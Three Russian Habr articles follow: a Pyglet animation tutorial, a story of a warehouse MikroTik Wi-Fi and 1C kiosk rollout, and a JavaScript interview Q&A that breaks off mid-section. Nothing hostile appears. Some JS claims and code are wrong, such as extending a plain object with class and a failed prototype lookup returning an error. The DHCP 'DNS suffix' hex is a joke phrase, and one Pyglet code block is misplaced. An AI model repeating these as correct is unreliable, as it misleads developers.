Мы кратко обсудим некоторые из наиболее важных модулей и пакетов Pyglet, которые мы будем использовать. Обратите внимание, что это всего лишь крошечная часть Фреймворка Pyglet. Пожалуйста, ознакомьтесь с Pyglet документацией, чтобы узнать больше о всех его возможностях, так как это выходит за рамки данной статьи.
###### Window (окно)
Модуль pyglet.window.Window предоставляет пользовательский интерфейс. Он используется для создания контекстного окна OpenGL. Класс Window представляет методы API для обработки различных событий, например, тех, что связаны с мышью и клавиатурой. Window можно отображать в обычном или в полноэкранном режиме. Вот простой пример создания экземпляра окна. Вы можете определить размер, указав ширину и высоту в качестве аргументов в конструкторе.
```
win = pyglet.window.Window()
```
Цвет фона для изображения можно настроить с помощью OpenGL вызвав glClearColor, а именно:
```
pyglet.gl.glClearColor(1, 1, 1, 1)
```
Данный код устанавливает белый цвет фона. Первые три аргумента задают красный, зеленый и синий цвета. Последнее значение представляет собой альфа-канал. Следующий код создаст серый цвет фона.
```
pyglet.gl.glClearColor(0.5, 0.5, 0.5, 1)
```
На следующем рисунке показан скриншот созданного окна с серым цветом фона:
###### Image (изображение)
Модуль pyglet.image позволяет вывести изображение на экран. В следующем фрагменте кода показан способ вставки и отображения картинки в указанной позиции в пределах окна Pyglet.
```
img = pyglet.image.load('my_image.bmp')
x, y, z = 0, 0, 0
img.blit(x, y, z)
```
В следующем разделе будут рассмотрены некоторые важные операции, поддерживаемые модулем pyglet.image.
###### Sprite (Спрайт)
Спрайт это конфигурация элементов изображения, определяемая пользователем.
Sprite — еще один важный модуль. Он используется для отображения изображения или кадра анимации в окне Pyglet, описанном ранее. Спрайт позволяет нам позиционировать изображение в любом месте Pyglet окна. Спрайт можно вращать и масштабировать. Можно создать несколько спрайтов одного и того же изображения, разместить их в разных местах или в одном окне с различной ориентацией.
###### Animation (анимация)
модуль Animation является частью пакета pyglet.image. Как следует из названия, pyglet.image.Animation используется для создания анимации из одного или более кадров изображения. Существуют различные способы создания анимации. Например, он может быть создан из последовательности изображений или при использовании AnimationFrame объектов. Анимация спрайтов может быть создана и отображена в окне Pyglet.
###### AnimationFrame
Создает отдельный кадр анимации из изображения. Анимация может быть создана из последовательности таких AnimationFrame объектов. Пример:
```
animation = pyglet.image.Animation(anim_frames)
anim_frames - список, содержащий экземпляры AnimationFrame.
```
###### Clock (время)
Этот модуль используется для планирования функций, которые будут вызываться в указанное время. Например, следующий код вызывает метод moveObjects десять раз в секунду:
```
pyglet.clock.schedule_interval(moveObjects, 1.0/10)
```
##### ВЫВОД ИЗОБРАЖЕНИЯ
В подразделе Image (изображение), мы научились загружать изображения с помощью image.blit. Тем не менее, использование blit является менее эффективным способом вывода изображения. Существует лучший метод показа изображения в созданном экземпляре Sprite. Несколько Sprite объектов могут быть созданы для вывода одного и того же изображения. Например, необходимо, чтобы одна картинка отображалась в разных местах в пределах окна. Каждому из этих изображений должны быть представлены отдельные экземпляры Sprite. Следующий простой пример просто загружает изображение и отображает экземпляр Sprite, выводя это изображение на экран.
```
1 import pyglet
2
3 car_img= pyglet.image.load('images/car.png')
4 carSprite = pyglet.sprite.Sprite(car_img)
5 window = pyglet.window.Window()
6 pyglet.gl.glClearColor(1, 1, 1, 1)
7
8 @window.event
9 def on_draw():
10 window.clear()
11 carSprite.draw()
12
13 pyglet.app.run()
```
Код в строке 3, загружает изображение с помощью вызова pyglet.image.load.
Sprite, соответствующий этому изображению, создается в строке 4.
Строка 6 устанавливает белый фон для окна.
On\_draw представляет API метод, который вызывается, когда окно необходимо перезагрузить.
На следующем рисунке показан пример загрузки изображения в окно Pyglet.
```
import os
original_path = "C:/images/car.png"
new_path = os.path.normpath(original_path)
```
Это окно показывает неподвижное изображение.
##### УПРАВЛЕНИЕ МЫШЬЮ И КЛАВИАТУРОЙ
Модуль window в Pyglet реализует некоторые API методы, которые позволяют пользователю управлять воспроизведением анимации. API методы, такие как on\_mouse\_press и on\_key\_press используются для захвата событий мыши и клавиатуры в процессе воспроизведения анимации. Эти методы могут быть использованы для выполнения определенных задач.
##### ДОБАВЛЕНИЕ ЗВУКОВЫХ ЭФФЕКТОВ
Pyglet поддерживает воспроизведения аудио и видео контента. Следующий код загружает медиа-файл и воспроизводит его в процессе отображения анимации.
```
1 background_sound = pyglet.media.load(
2 'C:/AudioFiles/background.mp3',
3 streaming=False)
4 background_sound.play()
```
Второй необязательный аргумент, предоставленный в строке 3, целиком декодирует медиа-файл в память во время загрузки. Это может быть важно, если медиа-файл должен проигрываться несколько раз в течение воспроизведения анимации. Метод API play() запускает потоковое воспроизведение медиа-файла.
#### АНИМАЦИЯ PYGLET
Фреймворк Pyglet предоставляет ряд модулей, необходимых для разработки анимации. Давайте теперь рассмотрим методы для создания 2D-анимации с использованием Pyglet.
#### ВОСПРОИЗВЕДЕНИЕ СУЩЕСТВУЮЩЕЙ АНИМАЦИИ
Если у вас уже есть файл анимации, например, в формате GIF, он может быть загружен и отображен непосредственно в Pyglet. Для этого используется API метод pyglet.image.load\_animation.
##### ОТОБРАЖЕНИЕ СУЩЕСТВУЮЩЕЙ АНИМАЦИИ
Пример кода, приведенный далее, поможет Вам понять принцип использования Pyglet для просмотра анимации.
```
1 import pyglet
2
3 animation = pyglet.image.load_animation(
4 "images/SimpleAnimation.gif")
5
6 # Создаем спрайт объект.
7 animSprite = pyglet.sprite.Sprite(animation)
8
9 # Главное окно Pyglet
10 w = animSprite.width
11 h = animSprite.height
12 win = pyglet.window.Window(width=w, height=h)
13
14 # r,g b, значения цвета и прозрачности для фона
15 r, g, b, alpha = 0.5, 0.5, 0.8, 0.5
16
17 # OpenGL метод для настройки цвета фона.
18 pyglet.gl.glClearColor(r, g, b, alpha)
19
20 # вывод спрайта
21 # pyglet.Window
22 @win.event
23 def on_draw():
24 win.clear()
25 animSprite.draw()
26
27 pyglet.app.run()
```
* В строке 3 API метод image.load\_animation создает экземпляр класса image.Animation, используя указанный файл анимации.
* В строке 7 создается спрайт объект для этой анимации.
* Окно Pyglet, созданное в строке 12, будет использоваться для отображения анимации.
* animSprite задает высоту и ширину окна.
* Цвет фона для окна устанавливается с помощью OpenGL вызововом glClearColor.
* Далее, нам необходимо подключить файл анимации к нашему спрайту в окне Pyglet.
* Pyglet.window определяет метод API on\_draw который вызывается при возникновении события.
* Чтобы вывести анимацию на экран, в строке 25 производится вызов draw ().
* Код в строке 27 запускает это приложение.
*Примечание: Файл анимации должен быть размещен в одной директории с нашим приложением.*
Этот пример отображает анимацию в окне Pyglet. Вы можете использовать любой файл анимации, просто измените в строке 4 путь.
На следующем рисунке показаны некоторые кадры из файла анимации в различные интервалы времени.
##### АНИМАЦИЯ С ПОМОЩЬЮ ПОСЛЕДОВАТЕЛЬНОСТИ ИЗОБРАЖЕНИЙ
Animation.from\_image\_sequence — метод API, позволяющий создавать анимацию, используя множество последовательных изображений. Каждое из изображений последовательно отображается в виде кадра анимации, одно за другим. Время, отображения кадра анимации, указывается в качестве аргумента, при создании анимации объекта, либо оно может быть установлено после создания экземпляра анимации.
Давайте создадим несколько рисунков, последовательное отображение которых и будет анимацией, и выведем их на экран. Каждый из файлов изображений будет отображаться как кадр анимации указанное количество времени. Например, я буду использовать изображения напольных часов с маятником. Анимация заключается в колебании маятника часов. Эта анимация состоит из трех кадров изображений, в двух из них маятник располагается в противоположных сторонах. Вот как выглядят эти изображения:
Оживим маятник в наших часах:
```
1 import pyglet
2
3 image_frames = ('images/clock1.png',
4 'images/clock2.png',
5 'images/clock3.png')
6
7 # Создаем список файлов-изображений
8 images = map(lambda img: pyglet.image.load(img),
9 image_frames)
10
11 # Каждое из изображений будет отображаться 0,33
12 # секунды
13 # такое время выбрано по причине того, что при последовательном отображении всех
14 # трех наших изображений, маятник совершит одно полное колебание за 1 секунду
15
16 animation = pyglet.image.Animation.from_image_sequence(
17 images, 0.33)
18 # Создаем спрайт объект
19 animSprite = pyglet.sprite.Sprite(animation)
20
21 # Главное окно Pyglet
22 w = animSprite.width
23 h = animSprite.height
24 win = pyglet.window.Window(width=w, height=h)
25
26 # Устанавливаем булый цвет фона
27 pyglet.gl.glClearColor(1, 1, 1, 1)
28
29 @win.event
30 def on_draw():
31 win.clear()
32 animSprite.draw()
33
34 pyglet.app.run()
```
* Кортеж image\_frames содержит пути изображений.
* Вызов функции map в строке 8 создает объекты pyglet.image, соответствующие каждому из путей к изображениям, и сохраняет их в список.
* В строке 16, создается анимация с использованием метода API — Animation.from\_image\_sequence. Этот метод принимает список объектов изображений в качестве первого аргумента. Второй дополнительный аргумент это время отображения каждого кадра в секундах. Установим его равным 0,33 секунды для того, чтобы общее время полного цикла анимации составляло 1 секунду. Таким образом, одно полное колебание маятника, в нашей анимации будет занимать одну секунду.
*Примечание: Файлы анимации должны быть размещены в отдельной папке в директории с нашим приложением.*
После запуска нашего примера, вы увидите окно, в котором будут отображены часы с маятником совершающим колебания. Цикл анимации будет продолжаться до того момента, пока окно не будет закрыто.
Итак, мы только что создали подобие того, чем в детстве занимался почти каждый Советский школьник, рисование мультфильма на страницах тетради! Мы создали простую утилиту, которая принимает последовательность изображений в качестве входных данных и создает анимацию, используя Pyglet. Чтобы выполнить эту задачу, мы использовали Animation.from\_image\_sequence.
#### В ЗАКЛЮЧЕНИЕ
В этой статье мы научились создавать 2D-анимацию в Python при помощи Pyglet.
В частности, мы:
* рассмотрели некоторые основные компоненты Pyglet, составляющие основу для создания анимации. Обсудили модули, такие как Window, Image, Animation, Sprite, AnimationFrame, ImageGrid и т.д.
* написали код для создания анимации с помощью последовательности изображений.
*Источник: [www.packtpub.com/article/python-multimedia-fun-with-animations-using-pyglet](http://www.packtpub.com/article/python-multimedia-fun-with-animations-using-pyglet)*
*Перевод: Seganapa* | https://habr.com/ru/post/158023/ | null | ru | null |
# Как мы сокращали персонал через Wi-Fi
На одном складе работа была организована так, что сотрудники с навыками работы на ПК все время пребывали в режиме "аврал". При отгрузке заказов толпа комплектовщиков стояла в очереди за сверкой и сканированием штрих-кодов. Естественно, поломка одного из двух операторских компьютеров превращала весь процесс в сплошные мучения для самих операторов и радость для остальных (о, чайку можно попить!).
**В статье расскажу, как мы испортили людям отдых с помощью бесшовного Wi-Fi.**
Для разгрузки операторов установили несколько стационарных терминалов, с которыми смогут справится даже не владеющие магией 1С сотрудники. Но склад еще регулярно навещали ревизоры с беспроводными терминалами сбора данных. Их беда была в том, что приходилось ловить беспроводную сеть лишь в одном складском углу… да-да, именно там, где народу и так было с избытком. В общем, решили заодно опутать весь склад сетями бесшовного Wi-Fi. Именно эта часть проекта получилась любопытнее всего.
Котики-Микротики
================
Как известно, сейчас в моде минимализм. В том числе и проводной, поэтому оборудование искали с поддержкой PoE (Power Over Ethernet).
Для покрытия всего склада беспроводной сетью понадобились:
* Точки доступа, умеющие работать с управляющим контроллером и PoE-in;
* Контроллер для управления точками доступа;
* Коммутатор с поддержкой PoE-out.
Решения Cisco, Zyxel и D-link в бюджет явно не пролезали, поэтому остались Ubiquity UniFi и MikroTik.
Семейство Unifi с программными контроллерами хорошо запомнилось еще по прошлым проектам своей нестабильной связью при перемещениях клиентов между точками. К тому же, у местных админов нашелся [MikroTik RB951Ui-2HnD](https://routerboard.com/RB951Ui-2HnD), потерявший два порта после удара молнии. Что ж, это явно судьба, поэтому "инвалиду" решили дать новую жизнь в качестве контроллера Wi-Fi.
В качестве точек доступа изначально планировали [MikroTik mAP lite](https://routerboard.com/RBmAPL-2nD), которые подкупали стоимостью и поддержкой работы с Wi-Fi контроллером – Controlled Access Point system Manager (CAPsMAN) в терминологии MikroTik. Правда, смущало неудобное магнитное крепление на стену, ответная часть которого крепилась на не внушающий доверия скотч. В итоге, купили **MikroTik mAP 2nD** без всяких магнитов, из-за которых у mAP lite бывают [проблемы с сетью при включении](http://forum.mikrotik.com/viewtopic.php?t=104540).
Заказали всего 9 точек и коммутатор [D-link DES-1018MP](http://www.dlink.ru/ru/products/1/1965.html) с поддержкой PoE. Такого набора оказалось достаточно для уверенного приема на всей территории склада.
Кроме использования по назначению, из такой точки можно сделать [сетевой тестер](https://geektimes.ru/post/243173/). Еще в комплекте нашлись кабели micro-usb OTG, которые мигом разошлись по ИТ-отделу.
Вторая часть квеста
===================
Напомню, что основной проблемой склада была неправильная организация операторских рабочих мест. Поэтому нужно было не только увеличить их количество, но и оптимизировать для использования не искушенными в компьютерах сотрудниками склада. Решили ставить терминалы с сенсорным экраном и сканером штрих-кодов. При максимально упрощенном интерфейсе 1С и отсутствии стандартной оболочки Windows выходило довольно наглядно.
В качестве рабочих станций рассматривали тонких клиентов, моноблоки и даже Raspberry Pi под Linux. Но c Linux у местных специалистов дела шли не так радужно, поэтому все же вернулись к Windows. В конце-концов, там меньше проблем с совместимостью оборудования.
Кстати, вместо моноблока с креплением на стену нашелся INTEL Compute Stick размером с ладонь – подходящая модель выпускается как Lenovo [IdeaCentre Stick 300](https://geektimes.ru/company/lenovo/blog/271832/):
* 32 ГБ места на диске;
* 2 ГБ оперативной памяти;
* Windows 8.1 with Bing;
* Цена вопроса – менее 6 000 ₽.
Выглядит как решение всех проблем. Конечно, было некоторое недоверие к самому формату "флешки с виндой" – особенно смущали перспективы перегрева и вопрос быстродействия. Но пробная “флешка” выдержала все проверки без особых проблем, поэтому махнули рукой и закупили остальные.
К терминалу еще нужен был беспроводной сканер, база которого работала бы по USB с эмуляцией COM – просьба заказчика.
Получился такой набор:
| | | | |
| --- | --- | --- | --- |
| Наименование | Модель | Количество | Цена, шт |
| Точка доступа | MikroTik mAP 2nD | 9 | 2 800 ₽ |
| Компьютер | Lenovo IdeaCentre Stick 300 | 9 | 5 900 ₽ |
| Монитор | Viewsonic TD2220-2 | 9 | 17 000 ₽ |
| Переходник | HDMI BURO DVI-D(m) — HDMI19 (f) | 9 | 590 ₽ |
| Сканер ШК | Honeywell 1202g | 9 | 21 150 ₽ |
| Коммутатор | D-link DES-1018MP | 1 | 15 700 ₽ |
| Итого | | | 442 660 ₽ |
*Цены указаны на лето 2016*
Примечательно, что сама сеть Wi-Fi стоила менее 50 000 ₽, даже с учетом контроллера.
Часть третья, в которой появляется гик-порно
============================================
Про настройку CAPsMAN на MikroTik уже [достаточно материала](https://habrahabr.ru/post/217657/), поэтому больше расскажу о нюансах.
Сеть делали вещью в себе, без лишних пересечений с офисной. От использования VLAN пришлось отказаться, так как сетевое оборудование уже было нагружено сверх меры. На контроллере Wi-Fi подняли NAT с сетевым экраном, за которым разместили точки доступа с клиентами.
В процессе тестирования решения обнаружились несколько проблем:
* Если точки и клиенты находились в одном сегменте сети, то при подключении клиента контроллер ругался на появление петли и отключал его. Обойти проблему можно было сегментированием сети или явным включением точки доступа в bridge на контроллере. Я выбрал первый вариант, как наиболее простой:
```
/interface bridge
add name=bridge-wifi
/caps-man configuration
set [find comment="warehouse"] datapath.bridge=bridge-wifi
#настройка адресации и DHCP на bridge-wifi
```
* Если на точке доступа явно не указать IP-адрес контроллера, то при подключении к сети трех и более точек лишь одна регистрировалась. Решилось указанием адреса контроллера в настройках CAP:
```
/interface wireless cap
set caps-man-addresses=Адрес_контроллера discovery-interfaces=bridge-local \
enabled=yes interfaces=wlan2
```
* Некорректно работало разрешение имен офисных серверов и, как следствие, не запускалась база 1С. Настроили выдачу правильного DNS-суффикса службой DHCP на MikroTik:
```
#Добавляем опцию 15. содержимое - сконвертированый в HEX суффикс.
/ip dhcp-server option
add code=15 name=dns value=0x57687920616c6c207468697320736869743f
#Добавляем опцию к DHCP-серверу для клиентов.
/ip dhcp-server network
set [find comment="wi-fi client dhcp"] dhcp-option=dns
```
*Схема получившейся сети с двумя бриджами*
Интерфейс, который не даст выстрелить в ногу
============================================
Новые пользователи не очень дружны с компьютерами, поэтому лишние "соблазны" нужно было убрать. В системе появилась новая учетная запись пользователя с ограниченными правами и автоматическим входом в систему. Кроме того, при загрузке оболочка **explorer.exe** менялась на скрипт запуска 1С.
**Памятка по замене оболочки**Нужно всего лишь создать в реестре строковый параметр с именем "Shell" в ветке **HKEY\_CURRENT\_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon**, а в его значении прописать путь запуска альтернативной оболочки. Для запуска VBS-скрипта это выглядело так:
cscript.exe "Путь к скрипту"
Чтоб не менять скрипт для каждого компьютера, я назвал пользователей в 1С аналогично именам компьютеров.
Скрипт с комментариями предоставляю на ваш суд:
```
strComputer = "."
strServer="Имя сервера 1С"
strBase="название базы 1С"
Set objShell = CreateObject("Wscript.Shell")
‘ Получаем имя компьютера в переменную
strUsername= objShell.ExpandEnvironmentStrings("%computername%")
‘ Проверяем сервер на доступность несколько раз, на случай поздней инициализации сети.
For iCounter = 1 to 5
If Ping(StrServer) then
Exit For
end If
WScript.Sleep 1000
Next
If iCounter =5 Then
MsgBox ("Сервер не обнаружен, обратитесь в IT-отдел")
objShell.Run("shutdown -s -t 0")
else
‘ Запускаем 1С
objShell.Run("""C:\Program Files\1cv8\common\1cestart.exe"" enterprise /s"+strServer+"\"+strBase+" /N"""+strUsername+"""")
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colProcesses = objWMIService.ExecQuery ("Select * from Win32_Process Where Name = '1cv8.exe'")
‘ Ждем появления основного процесса 1С
Do While colProcesses.Count = 0
Set colProcesses = objWMIService.ExecQuery ("Select * from Win32_Process Where Name = '1cv8.exe'")
WScript.Sleep 1000
Loop
‘ Ждем завершения процесса 1С
Do While colProcesses.Count > 0
Set colProcesses = objWMIService.ExecQuery ("Select * from Win32_Process Where Name = '1cv8.exe'")
WScript.Sleep 1000
Loop
objShell.Run("shutdown -s -t 0")
end if
Function Ping( myHostName )
Dim colPingResults, objPingResult, strQuery
strQuery = "SELECT * FROM Win32_PingStatus WHERE Address = '" & myHostName & "'"
Set colPingResults = GetObject("winmgmts://./root/cimv2").ExecQuery( strQuery )
For Each objPingResult In colPingResults
If Not IsObject( objPingResult ) Then
Ping = False
ElseIf objPingResult.StatusCode = 0 Then
Ping = True
Else
Ping = False
End If
Next
Set colPingResults = Nothing
End Function
```
Через некоторое время терминалам добавили Bluetooth-колонки, через которые приятный женский голос сообщает об ошибках в работе при помощи Windows Speech.
А теперь про обещанные увольнения
=================================
Тестирование роуминга заказчик проводил так: сотрудник отдела ИТ с софтфона на мобильном звонил мне и гулял по складу. Обрывов связи и "заиканий" не было – точки доступа исправно передавали смартфон друг другу.
Позже мне рассказали, что после внедрения новой системы работники склада устроили настоящий саботаж, с возгласами "Так работать невозможно!" и демонстративной работой по-старинке. Видимо, смекнули, что придется работать вместо обсуждения рыбалки в очередях и за чаем. Но пришел большой босс и все наладил волшебной силой убеждения.
*Э, насяльнике, помоги! Вайвай поставиль, байтик бегаэт, адинэс считаэт, работник бешельме-мешельме нехочэт*
Наша оптимизация для людей имела и побочный эффект. Оказалось, что такая орава на складе не нужна – на волне кризиса в стране это натолкнуло начальство на идею сокращения штата. Теперь изображать бурную деятельность на том складе непросто.
**А у вас когда-нибудь случалось так, что внедрение во благо людям оборачивалось неприятностями для них же?** | https://habr.com/ru/post/315984/ | null | ru | null |
# JavaScript: 12 вопросов и ответов
JavaScript — это [потрясающий инструмент](http://www.creativebloq.com/web-design/examples-of-javascript-1233964), который можно найти буквально в каждом углу современного интернета. Но даже несмотря на его невероятную распространённость, и профессионалам в области JS всегда будет чему поучиться. Всегда найдётся что-то такое, чего они не знают.
[](https://habrahabr.ru/company/ruvds/blog/346022/)
В этом материале вы найдёте разбор двенадцати вопросов о JavaScript, на которые нередко не могут ответить даже опытные разработчики. Сначала мы рассмотрим десять типичных вопросов, включая такие, которые часто всплывают на собеседованиях. Оставшиеся два вопроса посвящены более сложным и неоднозначным вещам, в частности, использованию JS для улучшения производительности веб-страниц и разработке приложений, которые не теряют актуальности с течением времени.
Вопрос №1. Что такое прототипное наследование?
----------------------------------------------
Практически всё в JavaScript — это объекты. У каждого объекта есть прототип, от которого он наследует свойства и методы. Если объект не включает в себя запрошенное свойство, JavaScript выполнит поиск этого свойства в прототипе объекта. При этом поиск будет выполняться по цепочке прототипов до тех пор, пока не будет найдено то, что нужно. Если же поиск успехом не увенчается, будет возвращена ошибка.
Прототипы весьма полезны для создания объектов, которые имеют одинаковые свойства и методы. Когда всё это определено на уровне прототипа, требуется лишь одна копия подобных сущностей, что ведёт к эффективному использованию памяти.
```
var parent = {inherit: true}
var childA = Object.create(parent);
var childB = {};
Object.setPrototypeOf(childB, parent);
class childC extends parent {}
```
Прототипы можно добавлять к объектам при создании этих объектов, используя команду `Object.create()`, или после создания, командой `Object.setPrototypeOf()`. В стандарте ES2015 предусмотрено ключевое слово `class`, тут же имеется и команда `extends`, которая позволяет использовать заданное при её вызове значение как прототип объекта.
Вопрос №2. Как можно использовать JavaScript для повышения доступности веб-проектов?
------------------------------------------------------------------------------------
Современные [средства](http://www.creativebloq.com/advice/get-started-with-web-accessibility) для обеспечения доступности веб-сайтов для людей с ограниченными возможностями, часто умеют обрабатывать JavaScript и динамическое содержимое страниц. И JS и динамические данные можно состыковать со средствами обеспечения доступности, при этом стоит учитывать, что в данном случае лучше всего, когда, например, скрипты используются в роли средств расширения функциональности проекта а не неких возможностей, совершенно необходимых для его правильной работы.
Обычный способ помощи пользователям в работе с сайтом заключается в предоставлении удобных средств для навигации по объектам страниц, с которыми можно взаимодействовать. Речь идёт об управлении фокусом. Например, если на странице появляется календарь, у пользователя должна быть возможность пользоваться им без мыши, в частности — с помощью клавиш-стрелок. А именно, стрелки перехода влево и вправо можно использовать (при условии, что в одной строке экранного отображения календаря выводится семь дней) для перехода по дням, а клавиши для перехода вверх и вниз — для переключения между неделями. Реализуется подобное путём прослушивания событий клавиатуры в то время, когда календарь получает фокус.
Если изменение важных данных реализуется средствами JavaScript, например, при заполнении формы обратной связи, новые данные следует передавать скринридеру. Часто подобное реализуется путём маркировки соответствующего контейнера как интерактивной области.
Вопрос №3. Что такое всплытие событий и чем оно отличается от перехвата событий?
--------------------------------------------------------------------------------
*Всплытие событий используется при реализации делегирования событий. Если подписаться на события родительского элемента, можно получить сведения о событиях и для его потомков*
И перехват, и всплытие событий являются частью процесса, который называется «распространение событий», в ходе которого браузер реагирует на события, происходящие на странице. Более старые браузеры выполняли либо одно, либо другое, но в наши дни все браузеры поддерживают и перехват, и всплытие событий.
Первая фаза — фаза перехвата — выполняется сразу после того, как происходит событие. Событие начинается на самом верхнем уровне, которым является либо объект `document`, либо объект `window` в зависимости от события. Отсюда оно опускается, проходя через тег и через то, что находится в этом теге, до тех пор, пока не достигнет элемента, в пределах которого оно возникло.
Затем происходит вторая фаза — всплытие события. В её ходе повторяется тот же процесс, но наоборот. Всё начинается с элемента, который вызвал событие, оно «всплывает» до корневого элемента . При добавлении прослушивателей событий ожидается именно такое поведение системы.
Вопрос №4. Как делегирование событий улучшает код на сайтах с множеством интерактивных элементов?
-------------------------------------------------------------------------------------------------
Веб-сайты нередко полны динамических элементов, которые постоянно меняются. Если подобные элементы должны быть ещё и интерактивными, понадобится некий способ наблюдения за событиями, которые возникают, когда пользователь с ними взаимодействует. Если каждому элементу понадобится собственный прослушиватель событий, это замусорит код и увеличит нагрузку на браузер.
Делегирование событий — это техника, которая использует механизм всплытия событий. Добавляя прослушиватель к родительскому элементу, разработчик может наладить обработку событий для его потомков.
```
parentEl.addEventListener('click', function(e) {
if(e.target && e.target.nodeName == 'BUTTON') {
// Щелчок по кнопке
} });
```
Внутри функции обратного вызова прослушивателя события целевой элемент события будет представлен параметром `target`, который можно использовать для принятия решения о дальнейших действиях. Например, атрибут этого параметра `data` может хранить идентификатор для доступа к свойствам объекта.
Вопрос №5. Что такое замыкания и как они могут помочь в организации кода?
-------------------------------------------------------------------------
Функции в JavaScript используют то, что называется «лексической областью видимости». Это означает, что у них есть доступ к переменным, определённым в области видимости, включающей их, но те переменные, которые объявлены внутри функций, недоступны извне.
```
function outer() {
let x = 'Web Designer';
function shout() {
alert(`I love ${x}!`);
}
shout(); }
```
Вызов функции `outer()` приведёт к показу сообщения «I love Web Designer!», но если к функции `shout()` или к переменной `x` попытаться обратиться за пределами функции `outer()`, окажется, что и та и другая не определены. Замыкание — это комбинация функции и её лексического окружения. В нашем примере замыкание — это функция `outer()`.
Замыкания полезны при создании больших наборов компонентов, так как всё, объявленное внутри одного замыкания, не затрагивает другие. Замыкания можно использовать для создания приватных функций и переменных способами, напоминающими те, что применяются в других объектно-ориентированных языках вроде Python. Шаблон «модуль» широко использует замыкания для обеспечения структурированных способов взаимодействия модулей.
Вопрос №6. Что означает строчка 'use strict' в верхней части блока кода?
------------------------------------------------------------------------
В ES5 описан особый вариант JavaScript, называемый строгим режимом (strict mode). В строгом режиме использование неоднозначных конструкций из более ранних версий языка вызывает ошибки вместо того, чтобы приводить к незапланированному поведению.
```
function strictFunction() {
'use strict';
myVar = 4; //ReferenceError }
```
В вышеприведённом фрагменте кода мы пытаемся присвоить значение необъявленной переменной. За пределами строгого режима выполнение подобной команды приведёт к добавлению переменной `myVar` к глобальной области видимости, что, если не уделять подобным вещам достаточно внимания, способно полностью поменять функционал скрипта. В строгом режиме подобное приводит к выдаче сообщения об ошибке и, таким образом, предотвращает возможное нарушение функционирования программы. Модули ES2015 используют строгий режим по умолчанию, но в замыканиях, созданных с помощью функций, команда `'use strict'` может быть использована на уровне функции, так же, как и на уровне всего файла.
Вопрос №7. Что термин «поднятие переменных» означает в применении к JavaScript?
-------------------------------------------------------------------------------
Одной из особенностей JavaScript является тот факт, что программы, написанные на нём, распространяются в нескомпилированном виде. Браузер компилирует скрипты, что называется, «на лету», и в ходе этого процесса делает «заметки» о функциях и переменных, объявленных в этих скриптах.
После первого просмотра кода, браузер выполняет второй проход, представляющий собой выполнение программы, уже зная о том, где применяются функции и переменные. При выполнении фрагмента кода объявления функций и переменных «поднимаются» в верхнюю часть этого фрагмента.
```
welcome("Matt"); //"Welcome, Matt."
function welcome(name) {
return `Welcome, ${name}.`;
}
```
В этом примере функцию `welcome()` можно использовать до её объявления в коде, так как она «поднимается» в верхнюю часть скрипта.
Вопрос №8. Чем стрелочные функции отличаются от обычных функций?
----------------------------------------------------------------
В ES2015 появилось множество изменений, и одним из них, довольно заметным, стало введение стрелочных функций.
```
function CountUp() {
this.x = 0;
setInterval(() => console.log(++this.x), 1000); }
var a = new CountUp();
```
Основное отличие стрелочных функций от обычных функций, даже если не смотреть на то, что они короче, заключается в том, что стрелочные функции не задают собственное значение для `this`. Вместо этого они используют значение `this` блока, в который они включены. В вышеприведённом примере при обращении к `this.x` каждую секунду будут выводиться числа 1, 2, 3, и так далее. При использовании в похожей ситуации обычной функции, `this` имело бы значение `undefined`, что привело бы к выводу `NaN`. Тело стрелочной функции представляет собой её возвращаемое значение. Это делает особенно удобным использование стрелочных функций в промисах. Обычные функции, в отличие от стрелочных, должны явно возвращать некое значение, иначе автоматически будет возвращено `undefined`.
Вопрос №9. В каких ситуациях следует использовать ключевые слова let и const?
-----------------------------------------------------------------------------
Ещё одним фундаментальным новшеством в ES2015 стало введение ключевых слов `let` и `const`, как альтернативных способов объявления переменных. Область видимости таких переменных ограничена блоком, в котором они были объявлены. Это даёт больше уверенности в том, что переменные, созданные в различных блоках кода, не повлияют на то, что находится за пределами этих блоков.
```
for(let x=1; x<=3; x++) {
console.log(x); // 1, 2, 3}
console.log(x); // "x is not defined"
```
Если значение переменной в процессе выполнения программы не меняется, используйте `const` вместо `let`. При попытке переопределения подобной переменной, которую правильнее называть «константой», будет выдана ошибка. При этом надо учитывать, что при таком подходе внутреннее содержание объектов и массивов, ссылки на которые записаны в константы, может меняться, но они не могут быть заменены на новые объекты.
Переменные, объявленные с использованием `let` и `const`, не поднимаются, в отличие от переменных, объявленных с помощью ключевого слова `var`, поэтому к ним нельзя обращаться до их инициализации. Пространство между началом блока кода и местом инициализации переменной известно как «временная мёртвая зона», нередко это может быть причиной путаницы.
Вопрос №10. Что такое функциональное программирование и каковы его особенности?
-------------------------------------------------------------------------------
*Чистая функция*
Функциональное программирование представляет собой подход к разработке программ, сущность которого заключается в том, что данные, представляющие собой состояние приложения, обрабатываются исключительно с помощью функций. Если такие функции не производят побочных эффектов, в итоге получается код, с которым легко работать, и который просто понять.
Обычно JS-проекты строят с использованием принципов объектно-ориентированного программирования. Информация о текущем состоянии программы хранится в объектах, а если на странице что-то меняется, сведения об изменениях записываются в эти объекты.
Функциональное программирование — это, фактически, другой стиль мышления. Надо сказать, что языки вроде F# используют подобные принципы уже очень давно. При этом в ES2015 появились некоторые важные механизмы, расширяющие возможности функционального программирования на JS.
Если, при разработке веб-проекта, придерживаться правил функционального программирования, то нужно учитывать, что все операции должны производиться внутри так называемых «чистых» функций. Это — функции, на которые не действуют данные, находящиеся за пределами области видимости этих функций. Другими словами, когда такой функции предают одни и те же данные, она всегда должна возвращать один и тот же результат.
Кроме того, это означает, что у функций не должно быть совместного доступа к неким внешним по отношению к ним данным, например, представляющим собой состояние приложения. Если приложению нужно изменить состояние, оно должно передать его функции в виде параметра.
И наконец, в коде нужно избегать изменения существующих значений. Например, при выполнении операций, подразумевающих изменение объектов, должны возвращаться копии этих объектов с изменёнными значениями. Это способствует избавлению от побочных эффектов, которые приводят к ошибкам и усложняют тестирование кода.
Вопрос №11. Как использовать JavaScript для улучшения производительности веб-страниц?
-------------------------------------------------------------------------------------
Сегодня основной объём просмотров веб-страниц выполняется со смартфонов или планшетов. При этом далеко не у всех есть самые современные устройства. Поэтому то, насколько быстро страницы реагируют на действия пользователя, очень важно. Любые «тормоза» в работе сайта могут вылиться в потерю клиента. К счастью, в JavaScript есть средства, которые помогают этого избежать.
### ▍Избегайте ненужных воздействий на прокрутку страницы
